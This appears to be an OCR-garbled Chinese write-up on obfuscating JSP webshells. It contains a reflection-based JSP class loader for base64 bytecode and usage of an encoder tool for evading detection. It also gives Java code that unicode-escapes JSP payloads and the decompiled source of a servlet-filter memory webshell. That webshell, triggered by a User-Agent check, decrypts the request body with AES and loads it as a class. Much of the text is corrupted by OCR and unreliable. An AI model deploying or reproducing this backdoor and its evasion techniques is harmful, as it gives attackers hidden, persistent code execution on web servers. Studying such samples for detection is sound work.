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<%try {
(lassLoader czoader = Thread.currentThread().getContextClassLoader();
StringczName= "Scrobicular";
StringclzBytecodeBase64Str="xxxxx";
byte[]bytecode=null;
try{
(lassbase64(Clz=czoader.loadClass("java.util.Base64");
(lassdecoderClz=czoader.loadClass("java.util.Base64$Decoder");
Objectdecoder=base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode=(byte[]) decoderClz.getMethod("decode",String.class).invoke(decoder, clzBytecodeBase64St
} catch(ClassNotFoundException e){
Class datatypeConverterClz =czoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.cass).invoke(data
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java.lang.reflect.MethoddefineClzMethod =clzoader.loadClass("java.lang.ClassLoader").getDecaredMet!
defineClzMethod.setAccessible(true);
Class clz =(Class) defineClzMethod.invoke(clzoader, clzName, bytecode, @,bytecode.length);
cz.newInstance();
} catch (Exceptione) {}%>

1813 githubi® & "base64Clz", & 23X N5 B https:/github.com/TimelineSec/ ATTCK-Tools-

library/tree/master/JspEncoder

ERAIE

Jsp3fEUnicodefi#hD : java -jar JspEncoder.jar UniDe srcFile desFile
Jsp3ZfEUnicodeZ®hS : java -jar JspEncoder.jar UniEn srcFile desFile
Jspx3CEHtMUfRRS © java -jar JspEncoder.jar HtmlDe srcFile desFile
Jspx3CfEHtm4RAS : java -jar JspEncoder.jar HtmlEn srcFile desFile
Jspx3C4ECDATAf#RS, © java -jar JspEncoder.jar CdataDe srcFile desFile
Jspx3C4ECDATAYRES : java -jar JspEncoder.jar CdataEn srcFile desFile
Baseb43r {4yt Ajclass3Cf4 : java -jar JspEncoder.jar ClassOut srcFile desFile

class3rf4-4iH hiBaseb43 {4 : java -jar JspEncoder.jar ClassIn srcFile desFile
URES RSN, A TLAN RARIHARE AAFAE SN, M A AR 2t

import java.io.*;

public class encoderJsp {
public encoderJsp(String srcFile, String desFile) throws IOException {
FileInputStream fis = new FileInputStream(srcFile); //3THH#INR

InputStreamReader isr = new InputStreamReader(fis); //#i \jiZHz%
BufferedReader br = new BufferedReader(isr); [/ F A AY

String line = "";
String text = "";
while ((line = br.readLine())!= null){
text += line;
}
String subString = text.substring(2,text.length()-2);

char[] charArray = subString.toCharArray();

String result = "<%";
for (int i=0;i<charArray.length;i++){

if (i==0 || i%8 == 0){
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String firstHex = Integer.toHexString(charArray[il);
if (firstHex.length()==2){
firstHex = "00" + firstHex;
result = result + "\\uu" + firstHex;
}
Yelse if ((i%8 != 0) &8 (i%9 == 0)){
String nineHex = Integer.toHexString(charArray[i]);
if (nineHex.length() == 2) {
nineHex = "00" + nineHex;
result = result + "\\uuu" + nineHex;
}
Yelse if ((i '=0) &8 (i%8 != 0) &8 (i%9 != 0) && (i%55 == 0)){
result = result + charArray[i];
} else{
String elseHex = Integer.toHexString(charArray[i]);
if (elseHex.length() == 2) {
elseHex = "00" + elseHex;
result = result + "\\u" + elseHex;

}
result = result +
FileWriter writer = new FileWriter(desFile);

0, .
%>";

writer.write("");

writer.write(result);

writer.flush();

writer.close();

System.out.printin("['ISC44RISTR, SHEZE" + desFile);

decoderJsp RS ALY

<%try {
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzName = "Scrobicular";
String clzBytecodeBase64Str = "yv66vgAAADIBHwcAcAcAdAgAMACAjwgAFwcAcggBDggAVgEACYPLTTETL jAUMAEAD
try {
(lass baseb64Clz = clzloader.loadClass("java.util.Base64");
(lass decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64C1z.getMethod("getDecoder").invoke(base64C1z);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecode
Class datatypeConverterClz = clzlLoader.loadClass("javax.xml.bind.DatatypeConverter");
java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDecla
defineClzMethod.setAccessible(true);
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Class clz = (Class) defineClzMethod.invoke(clzLoader, clzName, bytecode, @, bytecode.length);
} catch (Exception e) {}%>

¥ R E AT TclzBytecodeBase64Str, ik 1 EfifhlclzBytecodeBase64StrAl XN A, &
ClsztecodeBase64Str|jq B2 I 3R A classOutAf < R ¥R BP 7], 13, 7] Fpython i A 4T (B E #Elinux FHRAT,
BREHEMT)

2. ¥iR15Hclass Flhex¥migzs B E A MZKM15 FEE RIFE R A EINGRE BE), B X FHGoogle
Search "java ZKM15" AR E

3. WHREKITEERIESH TR 21355 (https:/github.com/java-deobfuscator/deobfuscator) T B A] DA

4, deobfuscator LEfFREEEH(1. FERSEIMclassTTBMzip,2, 1 ZKMISHIAE R4FERIAT)

5. FALuyten(https:/github.com/deathmarine/Luyten) T B [k Z@iFclass) {4 (L fRIRIE XM EEEIRISE
A K, clzBytecodeBase64StFF kA ELE BA R, A EE LA RMIEB KK, HRELMTNT)

LR RIRER1FEMclassal T
package org.apache.catalina.filters;

import java.lang.reflect.*;
import javax.servlet.http.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.security.*;
import javax.servlet.*;
import java.io.*;

public class MelebioseFilter implements Filter

{
public static int a;
public static int b;

private Class b(final Object[] array) {
final byte[] array2 = (byte[])array[0];
try {
final ClassLoader classLoader = this.getClass().getClasslLoader();
final Method declaredMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclaredl
declaredMethod.setAccessible(true);
return (Class)declaredMethod.invoke(classLoader, null, array2, @, array2.length);

}
catch (Throwable t) {

throw new RuntimeException(t);
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private byte[] a(final Object[] array) {
final String s = (String)array[0];
try {
final ClasslLoader classLoader = this.getClass().getClassLoader();
byte[] array2;
try {
final Class<?> loadClass = classlLoader.loadClass("java.util.Base64");
array2 = (byte[])classlLoader.loadClass("java.util.Base64$Decoder").getMethod("decode
}
catch (ClassNotFoundException ex) {
final Class<?> load(Class2 = classlLoader.loadClass("javax.xml.bind.DatatypeConverter"
array2 = (byte[])loadClass2.getMethod("parseBase64Binary", String.class).invoke(load
}
return array2;
}
catch (Throwable t) {
throw new RuntimeException(t);

public void init(final FilterConfig filterConfig) throws ServletException {
}

public void doFilter(final ServletRequest servletRequest, final ServletResponse servletResponse,
final int b = MelebioseFilter.b;
final HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
final int n = b;
final HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
if (httpServletRequest.getHeader("User-Agent") != null && httpServletRequest.getHeader("User
final ByteArrayOQutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Label_0312: {
try {
if (httpServletRequest.getSession().getAttribute("u") == null) {
httpServletRequest.getSession().setAttribute("u", (Object)"7b35dabef09e402b"
}
final Cipher instance = Cipher.getInstance("AES");
instance.init(2, new SecretKeySpec(((String)httpServletRequest.getSession().getA
final ServletInputStream inputStream = httpServletRequest.getInputStream();
final byte[] array = new byte[1024];
int read;
while ((read = inputStream.read(array)) != -1) {
byteArrayOutputStream.write(array, 0, read);
if (n 1= 0) {
break Label 0312;
}
if (n 1=0) {
break;
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}
this.b(new Object[] { instance.doFinal(this.a(new Object[] { new String(byteArra

}
catch (Throwable t) {
filterChain.doFilter(servletRequest, servletResponse);

}
finally {
byteArrayOutputStream.close();
}
}
if (n ==0) {
return;
}

}

filterChain.doFilter(servletRequest, servletResponse);

public void destroy() {
}
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